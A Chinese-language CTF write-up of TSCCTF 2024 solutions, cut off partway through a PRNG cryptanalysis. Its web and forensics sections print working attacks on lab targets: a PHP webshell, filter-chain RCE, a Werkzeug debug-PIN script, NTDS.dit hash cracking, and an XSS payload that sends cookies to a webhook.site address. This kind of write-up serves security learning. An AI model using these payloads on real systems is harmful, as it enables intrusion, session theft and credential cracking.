TSCCTF 2024

tags: CTF

  • 名次: 1 / 165

第一次有拿到 CTF 前三

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Welcome

Welcome

Welcome to TSCCTF, do you carefully read the posts from TSC's Instagram or Facebook ?

https://www.facebook.com/profile.php?id=61552584062920 https://www.instagram.com/taiwan_security_club/

Author: 噗噗

翻 fb 可以找到以下三個貼文

post 1

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

TSC{F0R_TSCCTF_

post2

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

F0LL0VV3RS_f0rrn3d_

post 3

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

6y_PU6L1C1TY_T34M}

組合起來變成 flag

TSC{F0R_TSCCTF_F0LL0VV3RS_f0rrn3d_6y_PU6L1C1TY_T34M}

Welcome Revenge

Can you find the hidden flag in our Discord server?

Note: The flag has nothing to do with the ticket system.

Author: Ching367436

flag 在 DC 上面,翻找一下發現有一個神祕的貼圖

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

照著打出來就是 flag,不過有點難看懂,測了好幾次加上用 ticket 才成功

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

TSC{7h3_DC_flag!}

Survey

Author: Ching367436, ShallowFeather, sunick2009, CCcat, Vincent55

https://forms.gle/p1jwm62dY4k3sKBH6

就填問卷

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

TSC{Y0u_w3r3_gr347!}

Misc

🟥 🟩 🟦

⬜ = 🟥 + 🟩 + 🟦

flag-rgb.png

Author: IID

圖片如下,可以看到他似乎是一個 QR code,但是有填奇怪的顏色

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

而根據題目說明可以猜測跟 RGB 的 channel 有關,因此我使用了 stegsolve 來試試看

分別檢視 Red Plane 7, Green Plane 7, Blue Plane 7 這三個 channel,可以看到會有三個不同的 QR code

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

這邊我直接用手機的 Mixerbox 掃描器來掃,可以讀到以下三個訊息

T{5_e3V15r63o_O0_ErNnCV11M45RW7

SR34_D13_3L_k0_ma_3_D0444a1_3h3

C05Rr_07A_UY0Np5R934_n1r_j1A_1}

可以看到 flag 應該是從上而下從左而右的順序來讀,拼湊一下就能拿到 flag

TSC{R0535_4Re_r3D_V101375_Ar3_6LU3_Yok0_0NO_p0m5_aRE_9r33N_4nD_C0nV4114r14_Maj4115_AR3_Wh173}

There Is Nothing Here (1)

What a beautiful view.

beautiful_view.jpg

Author: SUSU

圖片如下

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

這邊我用線上工具 aperisolve 來分析,可以看到在一些處理下看到好像是 QR code 的東西,但是被切掉了

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

而在經過搜尋後,我找到了一篇文章 Hiding Information by Manipulating an Image's Height,他解釋如何去把 jpg 的 height 和 width 做更改,只要找到 FF C0 這個 identifier 的後面幾個 byte 即可,如下圖所示

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

而在這張圖片中就會對應到 0xdf ~ 0xe2 這邊

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

因此我們可以嘗試去修改他的 height,這邊我調成跟 width 一樣是 0x0400,變成下面這樣

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

更改之後的圖片如下,QR code 出來了

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

拿手機掃一下就能拿到 flag

TSC{Wh47_yoU_53e_IS_noT_Wh@t_YoU_9Et}

There Is Nothing Here (2)

Are you a SPY?  

Find the question FIRST! Brute Force Table are included.

Sorry for the inconvenience. The file has updated at 14:20. Please redownload the files.

Author: SUSU

file: there-is-nothing-here-2.zip

檔案解開之後是 important_data.vhdx,是一個硬碟檔案

我首先使用 FTK Imager 來分析,可以看到在 C:\ 下面有一個 card.jpg,裡面藏有一個 zip 檔案 ntds.zip

ftk

ntds.zip 取出解開之後,可以看到裡面有 Active Directoryregistry 這兩個資料夾,此外還有 fasttrack.txt 這個看起來是字典檔的東西

而在 Active Driectory 資料夾中有一個 ntds.dit,這個檔案是 Windows 的 user database,而搭配前面找到的字典檔我們可以嘗試來進行爆破,這邊我參考了 Extracting and Cracking NTDS.dit 這篇文章

首先我使用了 impacketsecretsdump 來將 ntds.dit 轉換成 hash 的形式並儲存成 ntlm-extract 檔案,而這個指令需要 SYSTEM 的 registry 檔案,他在 registry 資料夾中

impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

有了 hash 檔案,我們可以使用 hashcat 來進行爆破,並儲存結果到 cracked.out 檔案中

hashcat -m 1000 -w 3 -a 0 -p : --session=all --username -o cracked.out --outfile-format=3 ntlm-extract.ntds ./fasttrack.txt

hashcat

可以看到他一共爆出了 2 個 hash,其中一個是空的,另一個是 Administrator 的密碼 welcome

不過爆完密碼之後我就沒有頭緒了,直到有了第一個提示

Unlock Hint for 0 points
This question shared same logic with the first question "There Is Nothing Here (1)".

Did the spy try to hide anything in the file system?

The first part of the flag format might be misleading. My bad :(

You may answered the target domain's Name for the first section.

可以看到他說這題和上一題有類似的邏輯,因此可以想像得到是要把 card.jpg 的寬和高做更改,而在這個圖片要更改的位置是 0xff ~ 0x102 這邊

original_hex

把他的高改成跟寬一樣是 0x01cc 之後,會拿到下面的圖片

card2

我們找到要回答的問題了,flag 會需要 AD 的 domain name 以及 Administrator 的密碼,而密碼的部分我們已經有了,因此接下來要找 domain name

根據 JSI Tip 1657. Where is the domain name in the registry? 這篇文章,我們可以知道 AD 的 domain name 在 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain 的路徑中

而這邊我使用 Registry Explorer 工具來看 registry,而在 SYSTEMControlSet001/Services/Tcpip/Parameters/Domain 路徑下可以找到 domain name 是 tsc_ctf_AD.local

registry_explorer

組合前面的 password 之後就能拿到 flag

TSC{tsc_ctf_AD.local_welcome}

TL;DL

Warning: High volume. Check your sound level setting before playing the audio.

Author: IID

file: flag-tldl.wav

題目給了一個音檔,直接丟到 audacity 中分析

我一開始是察看一下頻譜圖的部分,看到好像是摩斯密碼的東西,但解出來是一個沒意義的字串 QQ

spectrogram

後來在幾個釋出的提示之後,我有了新的想法

Unlock Hint for 0 points
len(flag) > 20

Unlock Hint for 0 points
Unlock Hint for 0 points
How many channels does the audio file have?

Unlock Hint for 0 points
Are you familiar with the tool used to display signal voltages?

Unlock Hint for 0 points
hint-tldl.png

hint-tldl.png 如下

hint-tldl

從以上這些提示可以猜測到可能跟波形的振幅有關,不過初步看 Audacity 的波形圖是一片空白,因此我們需要做一些處理

Audacity 的效果選單,選擇做正規化的處理之後,選擇刻度是 dB,就可以看到以下的波形圖,看得出一些東西了,且左聲道和右聲道的波形圖是不一樣的

normalized

而在提示中還可以看到有一張 x, y 的平面圖,且我們知道這個音檔的左右聲道都有不同資料,因此可以猜到左右聲道分別代表 x, y 的數值

因此在參考 How do I get the frequency and amplitude of audio that's being recorded in Python 3.x?Error: unknown format: 3 (When trying to read audio wavfile) 這兩篇資料後,我寫了一個腳本來畫圖出來

import soundfile as sf
import numpy as np
import matplotlib.pyplot as plt

data, samplerate = sf.read('tldl.wav', dtype='float32')
# data is [[left, right], [left, right], ...]

# left is x and right is y
# plot
plt.scatter(data[:,0], data[:,1], s=0.1)
plt.savefig('tldl.png')

出來的圖片如下,可以看到 flag 在裡面

tldl

TSC{V3ry_10Ud_d1R3c7_CUrR3N7_Bu7_1n_32-b17_f1047}

拿到 first blood 了,開心

firstblood

Web

Palitan ng pera

easy
It's a currency exchange website.

Author: Vincent55

Instance Info

file: exchange.zip

題目有給原始碼,那就先來看原始碼的部分,以下是 index.php 的關鍵邏輯

<?php
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
include("currency.php");

$resultLink = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $region = $_POST["region"];
    $amount = $_POST["amount"];

    $isoName = $countryData[$region]["ISO"];
    $rate = $countryData[$region]["toTWD"];

    $convertedAmount = $amount * $rate ?: $amount;

    $htmlContent = "<html><body>";
    $htmlContent .= "<h1> Exchange result </h1>";
    $htmlContent .= "<p>{$amount} TWD = {$convertedAmount} {$isoName}</p>";
    $htmlContent .= "<a href='/'>Back to Home</a></body></html>";

    $filePath = "upload/" . md5(uniqid()) . "." . $isoName;
    file_put_contents($filePath, $htmlContent);

    $resultLink = "<a href='" . $filePath . "'> 👁️ exchange result</a>";
}
?>

可以看到他會根據 $_POST["region"] 來決定要用哪個國家的匯率,而 $_POST["amount"] 則是要換多少錢,而這兩個都是使用者可以控制的

另外可以看到當作完相關匯率計算之後,會寫一個 html 的內容到一個檔案中,檔案名稱是亂數,不過附檔名的部分是根據 $_POST["region"] 查詢 countryData 後的結果,而這個 countryData 是在 currency.php

而基本上這個題目就只有這個功能,因此可以想像得到是要用 LFI 做 RCE,雖然檔案內容我們可以用 $_POST["amount"] 來控制成 PHP webshell 的東西,但是附檔名的部份我們還是需要控制成 .php 才能夠執行

不過實際去 currency.php 做一下搜尋之後,可以看到 Philippines 的 ISO name 恰巧就是 PHP,因此只要我們選擇國家是 Philippines,那麼附檔名就會是 .php,這樣我們只要在檔案中寫入 PHP webshell 就可以 RCE 了

currency

因此我們可以使用以下的輸入

region: Philippines
amount: <?php system($_GET['cmd']); ?>

cmd 參數的部分就可以執行指令做到 RCE

flag

TSC{Y0u_4r3_7h3_curr3ncy_ISO_c0d3_3xp3r7}

[教學題] 極之番『漩渦』

Are you familiar with these old friends?

Author: Vincent55

http://172.31.210.1:33002

題目沒有給 source code,所以只好直接去看網站

homepage

可以看到這題有四個階段,此外他有給 dockerfile 不過基本上就是說 flag 在檔案系統中,用處不大

第一個階段的 code 如下

<?php
include('config.php');
echo '<h1>👻 Stage 1 / 4</h1>';

$A = $_GET['A'];
$B = $_GET['B'];

highlight_file(__FILE__);
echo '<hr>';

if (isset($A) && isset($B))
    if ($A != $B)
        if (strcmp($A, $B) == 0)
            if (md5($A) === md5($B))
                echo "<a href=$stage2>Go to stage2</a>";
            else die('ERROR: MD5(A) != MD5(B)');
        else die('ERROR: strcmp(A, B) != 0');
    else die('ERROR: A == B');
else die('ERROR: A, B should be given');

這是一個經典的 PHP md5 比較題,可以參考 PHP MD5 Bypass Trick 這篇文章,第一個 payload 我使用的是裡面第 4 個的 null 繞過方法來繞

payload: /stage1.php?A[]=1&B[]=2

第二個階段的 code 如下

<?php
include('config.php');
echo '<h1>👻 Stage 2 / 4</h1>';

$A = $_GET['A'];
$B = $_GET['B'];

highlight_file(__FILE__);
echo '<hr>';

if (isset($A) && isset($B))
    if ($A !== $B){
        $is_same = md5($A) == 0 and md5($B) === 0;
        if ($is_same)
            echo (md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2");
        else die('ERROR: $is_same is false');
    }
else die('ERROR: A, B should be given');

這題我在嘗試的過程中發現他出壞了,直接亂給 A 和 B 都能過,只要不要一樣就好

payload: /stage2_212ad0bdc4777028af057616450f6654.php?A=1&B=2

第三個階段的 code 如下

<?php
include('config.php');
echo '<h1>👻 Stage 3 / 4</h1>';

$page = $_GET['page'];

highlight_file(__FILE__);
echo '<hr>';
if (isset($page)) {
    $path = strtolower($_GET['page']);
    
    // filter \ _ /
    if (preg_match("/\\_|\//", $path)) {
        echo "<p>bad hecker detect! </p>";
    }else{
        $path = str_replace("..\\", "../", $path);
        $path = str_replace("..", ".", $path);
        echo $path;
        echo '<hr>';
        echo file_get_contents("./page/".$path);
    }
} else die('ERROR: page should be given');

可以看到這個階段需要一個 page 參數,而他會將這個參數帶進 file_get_contents 中,因此可以想像得到是要做 LFI,不過他有做一些過濾我們需要繞過

在他的過濾規則中,首先會將 page 轉成小寫,之後會用 regex 檢查是否有 \_/ 的字元,而後還會將 ..\ 換成 ../ 之後再將 .. 換成 .,最後才會帶進 file_get_contents

而首先可以看到他的 regex 寫壞了,他會偵測的是 \_/ 的 pattern,因此我們還是可以使用 ..\ 來躲掉偵測,而後面它會自動地幫我們再轉換成 ../

而繼續看下去,可以看到他會將 .. 換成 .,因此 ../ 就會變成 ./,path traversal 失敗,不過我們可以在前面加上 . 來繞過,這樣在轉換後反而會從 ...\ 變成 .../,之後就會變成 ../

因此我們可以嘗試讀裡面有 include 的 config.php,payload 如下

paylaod: /stage3_099b3b060154898840f0ebdfb46ec78f.php?page=...\config.php

stage3

我們找到了 stage 4 的路徑

以下是第四個階段的 code

<?php
echo '<h1>👻 Stage 4 / 4</h1>';

highlight_file(__FILE__);
echo '<hr>';
extract($_POST);

if (isset($👀)) 
    include($👀);
else die('ERROR: 👀 should be given');

可以看到他會讀取 $_POST["👀"] 並 include 進來,沒了,而這邊也是最後的階段,可想而知是要做 RCE 讀 flag 檔案

這邊我使用的是 php filter chain RCE 的方法,使用的工具是 PHP filter chain generator

首先先用這個工具執行以下的指令,產生 filter chain payload,<cmd 部分是要執行的指令

python php_filter_chain_generator.py --chain "<?php system('<cmd>') ?>"

接著使用 curl 送封包過去,將以下指令的 <chain> 部分換成剛剛產生的 payload 即可

curl -X POST -v http://172.31.210.1:33002/stage4_b182g38e7db23o8eo8qwdehb23asd311.php --data "👀=<chain>"

執行之後就能成功執行指令,做到 RCE

flag

TSC{y0u_4r3_my_0ld_p4l}

Normal Website

This is just my normal website.

Dockerfile is in /app/Dockerfile

Author: Vincent55

Instance Info

這題沒有給 source code,因此只好直接去看網站

homepage

基本上只有一個一直跳動的迴紋針,沒有其他的了

而去看一下迴紋針的路徑 /img/aGludC5qcGc%3D,可以看到後面似乎有一串看起來像是 base64 的東西,解碼之後發現是叫做 hint.jpg,因此可以推測這個地方有可能有讀檔的漏洞,只要我們將路徑包成 base64 之後給他即可,這邊我嘗試讀取 /app/Dockerfile,payload 如下

/img/L2FwcC9Eb2NrZXJmaWxl

使用 curl 去讀取之後,可以發現我們成功讀到了 Dockerfile,代表這邊確實有 LFI 漏洞,以下是 dockerfile 的內容

FROM python:3.10-alpine
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt

COPY app.py .
COPY Dockerfile .
COPY templates/index.html ./templates/
COPY static/hint.jpg ./static/

ARG FLAG
RUN echo $FLAG > /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1`

USER daemon
ENTRYPOINT ["flask", "run", "--host=0.0.0.0", "--port=5050", "--debug"]

可以看到 flag 是在檔案系統中,此外也可以看到 flask 是跑在 debug mode 下,且我們有任意讀檔的漏洞,因此我們可以嘗試用 flask pin RCE 的方式去執行指令

這邊我參考了 Werkzeug / Flask Debugflask计算pin码 的資料,相關腳本也是從裡面來改的

根據裡面的說明,我們需要找到以下的資訊

username
modname
absolute path of app.py

MAC address
machine id

在 public bit 的部分,username 的部分我們可以從 dockerfile 知道是 daemon,而 modname 一般來說是 flask.app,因此我們只需要找到 app.py 的絕對路徑即可,這邊我是直接在本地跑 dockerfile 去找,路徑為 /usr/local/lib/python3.10/site-packages/flask/app.py

而在 private bit 的部分,MAC address 可以從 /sys/class/net/eth0/address 中找到,而 machine id 根據參考資料要讀取 /proc/sys/kernel/random/boot_id/proc/self/cgroup 的東西並進行串接,以下是各部分的資料

/sys/class/net/eth0/address

curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3N5cy9jbGFzcy9uZXQvZXRoMC9hZGRyZXNz

mac

mac address 是 02:42:0a:00:01:36

/proc/sys/kernel/random/boot_id

curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc3lzL2tlcm5lbC9yYW5kb20vYm9vdF9pZA==

machine_id

boot id 是 96f33aa0-36cf-48a8-8ced-c2e3aa85b7ae (這邊不小心切到了 sorry)

/proc/self/cgroup

curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc2VsZi9jZ3JvdXA=

cgroup

而 cgroup 的部分是空的,因此應該可以不用做串接

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

綜合以上資訊,計算的腳本如下

import hashlib
from itertools import chain
probably_public_bits = [
    'daemon',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    str(int('02:42:0a:00:01:36'.replace(':',''), 16)),# /sys/class/net/eth0/address
    '96f33aa0-36cf-48a8-8ced-c2e3aa85b7ae',# /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

算出來的 pin 是 192-946-691

pin

接著只要訪問 /console 路徑輸入 pin,我們就能自由的執行 python 程式了,而也就可以使用 os.popen(<cmd>).read() 來執行指令讀取結果,也就能做到 RCE 了

flag

TSC{ch3ck_d3bu6_m0d3_15_0ff_b3f0r3_0nl1n3}

Card Generator

The "Card Generator" is a software application designed to create various types of digital cards, such as greeting cards, business cards, invitation cards, etc. The application should allow users to customize their cards extensively, offering a range of templates, graphics, text options, and other decorative elements.

Author: D

http://172.31.210.1:34567

題目沒有給 source code,因此只好直接去看網站

homepage

網站點進去後看到的是一個登入畫面,這邊我有試過 sqli 沒辦法打,只好乖乖的註冊然後登入

update

登入後可以看到是一個名片的生成網站,我們可以在裡面改 username 及 description,並且可以將名片送給 admin 看,可以想像得到這是前端類型的題目,因此我猜測可能是用 xss 來打

這邊我嘗試了一下發現在 username 的部分有 xss 漏洞,更改成 <script>alert(1);</script> 即可彈出 xss 訊息

xss

而從 cookie 中可以看到 session 沒有上 http only,因此可以直接偷出來

cookies

這邊我使用 fetch 來傳送分包出來,並使用 webhook 來接收

<script>fetch("https://webhook.site/023b8760-bba9-4b3c-a291-20db4f1454d4/?"+document.cookie);</script>

session

eyJlbWFpbCI6ImFkbTFuQGFkbWluLmNvbSIsImxpbmsiOiIvamFhSFhEMWRORWlnWU8ySjhPNWYwMFVqQTNha1o1SVoiLCJ1c2VybmFtZSI6ImFkbWluIn0.ZapqzA.SNGWGbXKN6EFDZLD5_-q8U5k4Eg

可以看到我們確實偷到了 admin 的 session,登入試試看

admin

裡面沒有東西 QQ

拿 session 去解碼一下,可以看到裡面有奇怪的 link 變數

jwt

/jaaHXD1dNEigYO2J8O5f00UjA3akZ5IZ

訪問後就能拿到 flag

flag

TSC{Wh4t$_gO1n&_0n_w17h_Fl@5k_s3s51on?}

My First Shopping Cart

Help Edward to find the hidden product ...

Instance Info

這題我使用 unintended 的解法,有點小通靈

題目沒有給 source code,因此只好直接去看網站

homepage

可以看到這是一個購物網站,有四個商品可以買,在正常情況下假設我要購買相機的話,就會變成下面這樣可以加到購物車,但是看不到哪裡有下訂單的按鈕,可能沒有這功能

camera

而我們接下來可以看一下他是如何送資料的,在 HTML 中可以看到他的封包有 3 個參數 action, codequantity,商品名稱應該是 code 那邊

html

而這題我有嘗試過一些基本的 SQLi,但是看不出效果,因此我只好找其他方法

這題我後來使用的是 IDOR 的方法,我猜測可能有一個商品名稱叫做 flag,而我把 code 改成 flag 之後,就成功拿到 flag 了

flag

FLAG{Th3_secret_0f_wh3r3_5tatement}

Crypto

CCcollision

nc 172.31.200.2 40004
Author: CCcat

file: hash.py

以下是題目

from hashlib import md5
from string import ascii_lowercase, digits
from random import choice
from secret import FLAG

def get_random_string(length):
    return "".join([choice(ascii_lowercase + digits) for _ in range(length)])

prefix = get_random_string(5)
hashed = md5(get_random_string(30).encode()).hexdigest()

print("here is your prefix: " + prefix)
print("your hash result must end with: " + hashed[-6:])

user_input = input("Enter the string that you want to hash: ")
user_hash = md5(user_input.encode()).hexdigest()

if user_input[:5] == prefix and user_hash[-6:] == hashed[-6:]:
    print(FLAG)

可以看到題目會給我們一個 prefixhashed,我們要找到一個字串使得開頭是 prefix 且 hash 過後是的結尾是 hashed

因此我們可以嘗試直接從這個 prefix 開始往後添加字串,直到找到一組能滿足條件的字串為止,以下是我的腳本,裡面我使用的是 itertoolsproduct 函式搭配迴圈來生成有 1, 2, 個字元長的 postfix 進行串接

from pwn import *
from string import ascii_lowercase, digits
from itertools import product
from tqdm import trange
from hashlib import md5

context.log_level = "debug"

conn = remote("172.31.200.2", 40004)
# conn = process(["python", "hash.py"])

conn.recvuntil(b"prefix: ")
prefix = conn.recvline(keepends=False)
conn.recvuntil(b"with: ")
ending = conn.recvline(keepends=False).decode()

wl = ascii_lowercase + digits

if (md5(prefix).hexdigest()[-6:] != ending):
    found = False
    for i in trange(1,30):
        for choice in product(wl, repeat=i):
            if (md5(prefix + ''.join(choice).encode()).hexdigest()[-6:] == ending):
                found = True
                prefix += ''.join(choice).encode()
                break
        if(found):
            break


print(f"{prefix=} hash: {md5(prefix).hexdigest()}")
conn.sendlineafter(b"hash: ", prefix)
print(conn.recvline())

執行之後就能算出一個符合的字串,拿到 flag

flag

TSC{2a92efd3d9886caa0bc437f236b5b695c54f43dc9bdb7eec0a9af88f1d1e0bee}

Encode not Encrypt

nc 172.31.200.2 42816
Author: CCcat

file: encode.py

以下是題目

from random import choice, randint
from string import ascii_uppercase
from secret import FLAG

words = open("wordlist.txt").read().splitlines()
selected = [choice(words) for _ in range(100)]
assert all(word in words for word in selected)
ans = " ".join(selected)

def a(s):
    return "".join(hex(ord(c))[2:] for c in s)

b_chars = 'zyxwvutsrqponmlkjihgfedcba'
def b(s):
    result = ""
    for c in s:
        binary = f'{ord(c):08b}'
        front, back = binary[:4], binary[4:]
        result += b_chars[int(front, 2)] + b_chars[int(back, 2)]
    return result

c_chars = '?#%='
def c(s):
    result = ""
    for c in s:
        binary = f'{ord(c):08b}'
        for i in range(0, 8, 2):
            result += c_chars[int(binary[i:i+2], 2)]
    return result

def d(s):
    return "".join(oct(ord(c))[2:] for c in s)

func = {0: a, 1: b, 2: c, 3: d}
encodeds = []
hint = ""
for word in selected:
    num = randint(0, 3)
    encodeds.append(func[num](word))
    for bit in f'{num:02b}':
        ch = choice(ascii_uppercase)
        hint += ch if bit == '1' else ch.lower()

print(" ".join(encodeds))
print(hint)

user_input = input("Enter the answer: ")
if user_input == ans:
    print(FLAG)

可以看到他會生成一個 100 字詞長的隨機字串,並對於每個字詞會有 4 種不同的編碼方式,編碼方式是隨機選的,而最後會將編碼後的字串印出之後再印出一個 hint,最後問使用者這 100 個字詞,符合的話就會給我們 flag

從 hint 的算法可以得知他會對每個字詞隨機取兩個大寫字母,並根據隨機字串該位置的字詞編碼方式決定是調整成大小或是小寫,因此我們可以透過 hint 的大小寫來得知隨機字串的每個字詞的編碼方式,進一步我們可以再根據這些編碼方式逆回來成原本的字詞,以下說明每種編碼方式

編碼方式 a 會將字詞的每個字元轉換成 hex,因此逆向方式可以使用 bytes.fromhex 來解回來

編碼方式 b 會將字詞的每個字元先轉換成 binary,並用前 4 bit 與後 4 bit 的值去存取 b_chars,因此逆向方式可以使用 b_chars.index 去還原回前 4 bit 與後 4 bit 的值之後,做 shift 和 or 運算計算 (front << 4) | back 即可還原回來該字元,所有字元逆回來之後即可還原整個字串

編碼方式 cb 類似,只不過是變成切成 4 個 2 bit 的資料,和上面一樣先去做 c_chars.index 之後用 (front1 << 6) | (front2 << 4) | (back1 << 2) | back2 即可還原回來該字元,而後即可還原整個字串

編碼方式 da 很類似,只不過是會轉換成 oct,而 oct 有意點比較煩的地方是在可視字元的情況中轉換後可能會是 2 或 3 個字,不過我們可以從第一個字元是不是 1 來判斷是否是 3 個字,而後根據長度切割並用 int(s[i:i+2], 8)int(s[i:i+3], 8) 來還原回來該字元,而後即可還原整個字串

因此我們有了轉換編碼的函式之後,可以整合成以下的腳本

from Crypto.Util.number import *
from pwn import *

def a_dec(s: str) -> str:
    return bytes.fromhex(s).decode('utf-8')

b_chars = 'zyxwvutsrqponmlkjihgfedcba'
def b_dec(s: str) -> str:
    result = ""
    for i in range(0, len(s), 2):
        front = b_chars.index(s[i])
        back = b_chars.index(s[i+1])
        result += chr((front << 4) | back)
    return result

c_chars = '?#%='
def c_dec(s: str) -> str:
    result = ""
    for i in range(0, len(s), 4):
        front1 = c_chars.index(s[i])
        front2 = c_chars.index(s[i+1])
        back1 = c_chars.index(s[i+2])
        back2 = c_chars.index(s[i+3])
        result += chr((front1 << 6) | (front2 << 4) | (back1 << 2) | back2)
    return result

def d_dec(s: str) -> str:
    result = ""
    i = 0
    while(i < len(s)):
        if s[i] != '1':
            # 2
            result += chr(int(s[i:i+2], 8))
            i += 2
        else:
            # 3
            result += chr(int(s[i:i+3], 8))
            i += 3
    return result

conn = remote('172.31.200.2', 42816)
enc = conn.recvline(keepends=False).decode().split()
hint = conn.recvline(keepends=False).decode()

func = {0: a_dec, 1: b_dec, 2: c_dec, 3: d_dec}

txt = []
for i in range(0, len(hint), 2):
    bit_0 = 1 if hint[i].isupper() else 0
    bit_1 = 1 if hint[i+1].isupper() else 0
    txt.append(func[(bit_0 << 1) | bit_1](enc[i//2]).encode())

conn.sendline(b" ".join(txt))
print(conn.recvline())

執行成功,取得 flag

flag

TSC{f92f8ee588f3f4ff5b2cf5cdefd94bbc6e833881bedfd5cc0ba5f54b51382a94}

baby PRNG

The flag format is TSCCTF{.+}.

Author: Ching367436

file: chal.py

題目原始碼如下

from secret import FLAG
from os import urandom

def h(a, m):
    return (-a*a-m*m+0x6861616368616d61)&1

class H:
    def __init__(self, a, ac) -> None:
        self.a = a
        self.ac = ac

    def ha(self):
        m = sum([h(self.ac[i], self.a[i]) for i in range(len(self.a))])&1
        a = self.ac[0]
        self.ac = self.ac[1:] + [m]
        return a

flag = [int(i) for i in ''.join([bin(ord(i))[2:].zfill(8) for i in FLAG])]
a = [0, 2, 17, 19, 23, 37, 41, 53]
ch = H(a, list(map(int, f'{int.from_bytes(urandom(8), "big"):064b}')))
a = [ch.ha() for _ in range(len(flag)+52)]

for i in range(len(flag)):
    a[i] ^= flag[i]

print(''.join([str(m) for m in a]))
# The output is ... (ignore)

可以看到這是一個改過的 LFSR,在計算新的 bit 的部分使用了 h 這個函式,裡面會帶入 am 兩個參數,也就是 ac[i]self.a[i] 的部分

而我們知道由於 LFSR 是因為是線性的,因此可以轉換成線性代數的矩陣來做 modeling,而雖然這邊的 h 函數看起來不是線性的,初步看起來好像不能用線性代數的方式來解,但是我們已經可以事先知道 self.a 也就是 m 的值,此外在 GF(2)a 只會是 0 或 1,做平方沒有影響,因此這個函數仍然可以視為是線性的,我們可以嘗試進行 modeling

首先由於這個式子的 h 函式並不是直接是

y=a×x 的關係 (
x
是輸入),而算是
y=a×x+b
,因此我們無法像是一般破解 LFSR 那樣直接 model 成
x2=Ax1
那樣,不過我們可以將它建模成
x2=Ax1+b
的方式,這邊的
A
是一個 64*64 的方正矩陣,而
b
是一個 64 維的向量,接下來我們看如何來產生
A
b

首先在

A 的部分,由於這題的 LFSR 也是一直往前位移的方式,因此他的上面 63 * 64 的矩陣與一般的 model 方式相同,也就是下面這樣,最後一列待填

[010000100001]

而在更新 bit 的部分可以先來看一下他的式子,他的式子如下

bnew=i=07(bi2mi2+0x6861616368616d61)=i=07(bi2)+i=07(mi2+0x6861616368616d61)

而如同前面所說的

bi2=bi,且由於在 GF(2) 下
bi=bi
,因此上面的式子可以再轉換成下面這樣

bnew=i=07bi+i=07(mi2+0x6861616368616d61)

因為後面項與 bit 狀態無關,因此在

A 的部分只要考慮前面項即可,也就是說在
A
矩陣的最後一列會是 0 ~ 7 為 1 其他為 0,如下

[010000001000000001111100]

而在

